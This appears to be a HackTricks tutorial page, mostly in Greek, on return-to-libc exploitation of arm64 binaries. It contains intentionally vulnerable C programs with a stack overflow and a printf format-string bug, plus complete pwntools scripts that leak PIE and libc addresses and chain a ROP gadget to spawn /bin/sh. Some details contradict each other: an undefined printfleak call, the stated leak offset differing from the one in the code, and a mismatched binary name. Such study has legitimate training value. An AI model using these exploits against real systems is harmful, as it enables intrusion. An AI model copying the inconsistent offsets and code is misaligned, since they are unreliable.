Ret2lib + Printf leak - arm64

Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι υποστήριξης του HackTricks:

Ret2lib - Παράκαμψη NX με ROP (χωρίς ASLR)

#include <stdio.h>

void bof()
{
char buf[100];
printf("\nbof>\n");
fgets(buf, sizeof(buf)*3, stdin);
}

void main()
{
printfleak();
bof();
}

Μεταγλώττιση χωρίς canary:

clang -o rop-no-aslr rop-no-aslr.c -fno-stack-protector
# Disable aslr
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

Εύρεση μετατόπισης

Μετατόπιση x30

Δημιουργώντας ένα πρότυπο με την εντολή pattern create 200, χρησιμοποιώντας το και ελέγχοντας τη μετατόπιση με την εντολή pattern search $x30 βλέπουμε ότι η μετατόπιση είναι 108 (0x6c).

Κοιτάζοντας την αποσυναρμολόγηση της κύριας συνάρτησης, βλέπουμε ότι θέλουμε να κάνουμε άλμα στην εντολή για να πάμε απευθείας στο printf, το οποίο έχει μετατόπιση 0x860 από το σημείο φόρτωσης του δυαδικού:

Εύρεση συστήματος και συμβολοσειράς /bin/sh

Καθώς η ASLR είναι απενεργοποιημένη, οι διευθύνσεις θα είναι πάντα οι ίδιες:

Εύρεση Gadgets

Χρειαζόμαστε να έχουμε στο x0 τη διεύθυνση της συμβολοσειράς /bin/sh και να καλέσουμε το system.

Χρησιμοποιώντας το rooper βρέθηκε ένα ενδιαφέρον gadget:

0x000000000006bdf0: ldr x0, [sp, #0x18]; ldp x29, x30, [sp], #0x20; ret;

Εκμετάλλευση

Αυτό το εργαλείο θα φορτώσει το x0 από $sp + 0x18 και στη συνέχεια θα φορτώσει τις διευθύνσεις x29 και x30 από το sp και θα μεταβεί στο x30. Έτσι, με αυτό το εργαλείο μπορούμε να ελέγξουμε το πρώτο όρισμα και στη συνέχεια να μεταβούμε στο σύστημα.

from pwn import *
from time import sleep

p = process('./rop')  # For local binary
libc = ELF("/usr/lib/aarch64-linux-gnu/libc.so.6")
libc.address = 0x0000fffff7df0000
binsh = next(libc.search(b"/bin/sh")) #Verify with find /bin/sh
system = libc.sym["system"]

def expl_bof(payload):
p.recv()
p.sendline(payload)

# Ret2main
stack_offset = 108
ldr_x0_ret = p64(libc.address + 0x6bdf0) # ldr x0, [sp, #0x18]; ldp x29, x30, [sp], #0x20; ret;

x29 = b"AAAAAAAA"
x30 = p64(system)
fill = b"A" * (0x18 - 0x10)
x0 = p64(binsh)

payload = b"A"*stack_offset + ldr_x0_ret + x29 + x30 + fill + x0
p.sendline(payload)

p.interactive()
p.close()

Ret2lib - Διάβρωση NX, ASLR & PIE με διαρροή printf από τη στοίβα

#include <stdio.h>

void printfleak()
{
char buf[100];
printf("\nPrintf>\n");
fgets(buf, sizeof(buf), stdin);
printf(buf);
}

void bof()
{
char buf[100];
printf("\nbof>\n");
fgets(buf, sizeof(buf)*3, stdin);
}

void main()
{
printfleak();
bof();
}

Μεταγλωττίστε χωρίς canary:

clang -o rop rop.c -fno-stack-protector -Wno-format-security

PIE και ASLR αλλά χωρίς canary

  • Γύρος 1:

  • Διαρροή του PIE από το stack

  • Κατάχρηση buffer overflow για επιστροφή στο main

  • Γύρος 2:

  • Διαρροή του libc από το stack

  • ROP: ret2system

Διαρροές Printf

Με την τοποθέτηση ενός σημείου διακοπής πριν από την κλήση της printf είναι δυνατόν να δούμε ότι υπάρχουν διευθύνσεις για επιστροφή στο δυαδικό αρχείο στο stack και επίσης διευθύνσεις libc:

Δοκιμάζοντας διαφορετικά offsets, το %21$p μπορεί να διαρρεύσει μια διεύθυνση δυαδικού αρχείου (παράκαμψη PIE) και το %25$p μπορεί να διαρρεύσει μια διεύθυνση libc:

Αφαιρώντας τη διερροή διεύθυνσης libc από τη βασική διεύθυνση της libc, είναι δυνατόν να δούμε ότι το offset της διαρρεύσεως διεύθυνσης από τη βάση είναι 0x49c40.

x30 offset

Δείτε το προηγούμενο παράδειγμα καθώς το buffer overflow είναι το ίδιο.

Εύρεση Gadgets

Όπως και στο προηγούμενο παράδειγμα, πρέπει να έχουμε στο x0 τη διεύθυνση του string /bin/sh και να καλέσουμε το system.

Χρησιμοποιώντας το rooper βρέθηκε ένα ενδιαφέρον gadget:

0x0000000000049c40: ldr x0, [sp, #0x78]; ldp x29, x30, [sp], #0xc0; ret;

Εκμετάλλευση

Αυτό το εργαλείο θα φορτώσει το x0 από το $sp + 0x78 και στη συνέχεια θα φορτώσει τις διευθύνσεις x29 και x30 από το sp και θα μεταβεί στο x30. Έτσι, με αυτό το εργαλείο μπορούμε να ελέγξουμε το πρώτο όρισμα και στη συνέχεια να μεταβούμε στο σύστημα.

from pwn import *
from time import sleep

p = process('./rop')  # For local binary
libc = ELF("/usr/lib/aarch64-linux-gnu/libc.so.6")

def leak_printf(payload, is_main_addr=False):
p.sendlineafter(b">\n" ,payload)
response = p.recvline().strip()[2:] #Remove new line and "0x" prefix
if is_main_addr:
response = response[:-4] + b"0000"
return int(response, 16)

def expl_bof(payload):
p.recv()
p.sendline(payload)

# Get main address
main_address = leak_printf(b"%21$p", True)
print(f"Bin address: {hex(main_address)}")

# Ret2main
stack_offset = 108
main_call_printf_offset = 0x860 #Offset inside main to call printfleak
print("Going back to " + str(hex(main_address + main_call_printf_offset)))
ret2main = b"A"*stack_offset + p64(main_address + main_call_printf_offset)
expl_bof(ret2main)

# libc
libc_base_address = leak_printf(b"%25$p") - 0x26dc4
libc.address = libc_base_address
print(f"Libc address: {hex(libc_base_address)}")
binsh = next(libc.search(b"/bin/sh"))
system = libc.sym["system"]

# ret2system
ldr_x0_ret = p64(libc.address + 0x49c40) # ldr x0, [sp, #0x78]; ldp x29, x30, [sp], #0xc0; ret;

x29 = b"AAAAAAAA"
x30 = p64(system)
fill = b"A" * (0x78 - 0x10)
x0 = p64(binsh)

payload = b"A"*stack_offset + ldr_x0_ret + x29 + x30 + fill + x0
p.sendline(payload)

p.interactive()
Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι υποστήριξης του HackTricks:

Last updated